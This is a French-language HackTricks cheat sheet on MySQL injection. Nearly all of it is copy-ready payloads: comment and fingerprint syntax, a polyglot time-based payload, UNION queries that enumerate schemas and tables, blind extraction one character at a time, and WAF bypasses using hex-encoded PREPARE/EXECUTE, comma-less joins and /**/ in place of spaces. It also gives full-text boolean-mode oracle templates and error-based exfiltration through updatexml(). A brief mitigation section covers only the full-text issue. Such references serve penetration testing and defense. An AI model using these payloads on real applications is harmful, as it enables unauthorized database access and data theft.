MySQL injection
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Commentaires
-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02
Fonctions intéressantes
Confirmer Mysql:
concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)
Fonctions utiles
SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
Toutes les injections
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
Depuis https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/
Flux
Notez que dans les versions « modernes » de MySQL vous pouvez remplacer “information_schema.tables” par “mysql.innodb_table_stats” (Cela peut être utile pour contourner les WAFs).
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
Une seule valeur
group_concat()Limit X,1
Blind one by one
substr(version(),X,1)='r'orsubstring(version(),X,1)=0x70orascii(substr(version(),X,1))=112mid(version(),X,1)='5'
Blind adding
LPAD(version(),1...lenght(version()),'1')='asd'...RPAD(version(),1...lenght(version()),'1')='asd'...SELECT RIGHT(version(),1...lenght(version()))='asd'...SELECT LEFT(version(),1...lenght(version()))='asd'...SELECT INSTR('foobarbar', 'fo...')=1
Détecter le nombre de colonnes
En utilisant un simple ORDER
order by 1
order by 2
order by 3
...
order by XXX
UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...
MySQL Union Based
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
SSRF
Découvrez ici différentes options pour abuse a Mysql injection to obtain a SSRF.
Astuces pour contourner les WAF
Exécution de requêtes via Prepared Statements
Lorsque stacked queries sont autorisées, il peut être possible de contourner les WAFs en assignant à une variable la hex representation de la requête que vous voulez exécuter (en utilisant SET), puis en utilisant les PREPARE and EXECUTE MySQL statements pour finalement exécuter la requête. Quelque chose comme ceci :
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
Pour plus d’informations, consultez cet article de blog.
Alternatives à information_schema
N’oubliez pas que dans les versions “modernes” de MySQL vous pouvez remplacer information_schema.tables par mysql.innodb_table_stats ou par sys.x$schema_flattened_keys ou par sys.schema_table_statistics
MySQLinjection sans VIRGULES
Sélectionner 2 colonnes sans utiliser de virgule (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
Récupérer des valeurs sans le nom de colonne
Si à un moment donné vous connaissez le nom de la table mais pas le nom des colonnes qu’elle contient, vous pouvez essayer de déterminer combien de colonnes il y a en exécutant quelque chose comme :
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1); # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
En supposant qu’il y ait 2 colonnes (la première étant l’ID) et que l’autre soit le flag, vous pouvez essayer un bruteforce du contenu du flag en testant caractère par caractère :
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);
More info in https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952
Injection sans ESPACES (/**/ comment trick)
Certaines applications sanitise ou parse les entrées utilisateur avec des fonctions telles que sscanf("%128s", buf) qui s’arrêtent au premier caractère d’espace.
Parce que MySQL traite la séquence /**/ comme un commentaire et comme espace blanc, elle peut être utilisée pour supprimer complètement les espaces normaux du payload tout en gardant la requête syntaxiquement valide.
Exemple de time-based blind injection contournant le filtre d’espaces :
GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
Que la base de données reçoit sous la forme :
' OR SLEEP(5)-- -'
Ceci est particulièrement utile lorsque :
- Le buffer contrôlable est limité en taille (p. ex.
%128s) et les espaces termineraient prématurément l’entrée. - Injection via les en-têtes HTTP ou d’autres champs où les espaces normaux sont supprimés ou utilisés comme séparateurs.
- Combiné avec les primitives
INTO OUTFILEpour atteindre une RCE complète pre-auth (voir la section MySQL File RCE).
Historique MySQL
Vous pouvez voir d’autres exécutions à l’intérieur de MySQL en lisant la table : sys.x$statement_analysis
Versions alternatives
mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();
MySQL Full-Text Search (FTS) BOOLEAN MODE operator abuse (WOR)
Il ne s’agit pas d’un SQL injection classique. Lorsque des développeurs passent une entrée utilisateur dans MATCH(col) AGAINST('...' IN BOOLEAN MODE), MySQL exécute un ensemble riche d’opérateurs de recherche booléenne à l’intérieur de la chaîne citée. Beaucoup de règles WAF/SAST ne se focalisent que sur la rupture des guillemets et passent à côté de cette surface d’attaque.
Key points:
- Les opérateurs sont évalués à l’intérieur des guillemets :
+(doit inclure),-(ne doit pas inclure),*(trailing wildcard),"..."(phrase exacte),()(groupement),</>/~(poids). Voir la doc MySQL. - Cela permet des tests de présence/absence et de préfixe sans sortir du littéral de chaîne, p.ex.
AGAINST('+admin*' IN BOOLEAN MODE)pour vérifier tout terme commençant paradmin. - Utile pour construire des oracles tels que « une ligne contient-elle un terme avec le préfixe X ? » et pour énumérer des chaînes cachées via l’expansion de préfixe.
Example query built by the backend:
SELECT tid, firstpost
FROM threads
WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);
Si l’application renvoie des réponses différentes selon que l’ensemble de résultats est vide (p. ex., redirection vs. message d’erreur), ce comportement devient un Boolean oracle qui peut être utilisé pour énumérer des données privées telles que des titres cachés/supprimés.
Sanitizer bypass patterns (generic):
- Boundary-trim preserving wildcard: si le backend supprime 1–2 caractères finaux par mot via une regex comme
(\b.{1,2})(\s)|(\b.{1,2}$), soumettezprefix*ZZ. Le cleaner supprime lesZZmais laisse le*, doncprefix*survit. - Early-break stripping: si le code supprime les opérateurs par mot mais arrête le traitement lorsqu’il trouve un token de longueur ≥ min length, envoyez deux tokens : le premier est un junk token qui atteint le seuil de longueur, le second porte l’operator payload. Par exemple :
&&&&& +jack*ZZ→ après nettoyage :+&&&&& +jack*.
Payload template (URL-encoded):
keywords=%26%26%26%26%26+%2B{FUZZ}*xD
%26est&,%2Best+. Le suffixexD(ou n’importe quelles deux lettres) est supprimé par le cleaner, en préservant{FUZZ}*.- Treat a redirect as “match” and an error page as “no match”. Don’t auto-follow redirects to keep the oracle observable.
Workflow d’énumération :
- Commencez avec
{FUZZ} = a…z,0…9pour trouver les correspondances de première lettre via+a*,+b*, … - Pour chaque préfixe positif, branchez :
a* → aa* / ab* / …. Répétez pour récupérer la chaîne complète. - Distribuez les requêtes (proxies, comptes multiples) si l’app applique une limitation de débit.
Pourquoi les titres leakent souvent alors que les contenus ne le font pas :
- Certaines applications n’appliquent les vérifications de visibilité qu’après un MATCH préliminaire sur les titres/sujets. Si le contrôle de flux dépend de l’issue «any results?» avant le filtrage, des leaks d’existence se produisent.
Mesures d’atténuation :
- Si vous n’avez pas besoin de logique booléenne, utilisez
IN NATURAL LANGUAGE MODEou traitez l’entrée utilisateur comme littérale (l’échappement/quotage désactive les opérateurs dans les autres modes). - Si le Boolean mode est requis, supprimez ou neutralisez tous les opérateurs booléens (
+ - * " ( ) < > ~) pour chaque token (pas de ruptures précoces) après la tokenisation. - Appliquez les filtres de visibilité/autorisation avant MATCH, ou unifiez les réponses (timing/statut constant) lorsque l’ensemble de résultats est vide vs. non-vide.
- Examinez les fonctionnalités analogues dans d’autres DBMS : PostgreSQL
to_tsquery/websearch_to_tsquery, SQL Server/Oracle/Db2CONTAINSanalysent aussi les opérateurs à l’intérieur d’arguments entre guillemets.
Remarques :
- Les prepared statements ne protègent pas contre l’abus sémantique de
REGEXPou des opérateurs de recherche. Une entrée comme.*reste une regex permissive même à l’intérieur d’unREGEXP '.*'entre guillemets. Utilisez des allow-lists ou des gardes explicites.
Exfiltration basée sur les erreurs via updatexml()
Quand l’application ne renvoie que des erreurs SQL (pas des jeux de résultats bruts), vous pouvez leak des données via les chaînes d’erreur MySQL :
dimension: id {
type: number
sql: updatexml(null, concat(0x7e, IFNULL((SELECT name FROM project_state LIMIT 1 OFFSET 0), 'NULL'), 0x7e, '///'), null) ;;
}
updatexml() génère une erreur XPATH qui intègre la chaîne concaténée, donc la valeur du SELECT interne apparaît dans la réponse d’erreur entre délimiteurs (0x7e = ~). Itérer LIMIT 1 OFFSET N pour énumérer les lignes. Cela fonctionne même lorsque l’UI force des tests “boolean” parce que le message d’erreur est toujours remonté.
Other MYSQL injection guides
Références
- Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)
- MySQL Full-Text Search – Boolean mode
- MySQL Full-Text Search – Overview
- MySQL REGEXP documentation
- ReDisclosure: New technique for exploiting Full-Text Search in MySQL (myBB case study)
- LookOut: RCE and internal access on Looker (Tenable)
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


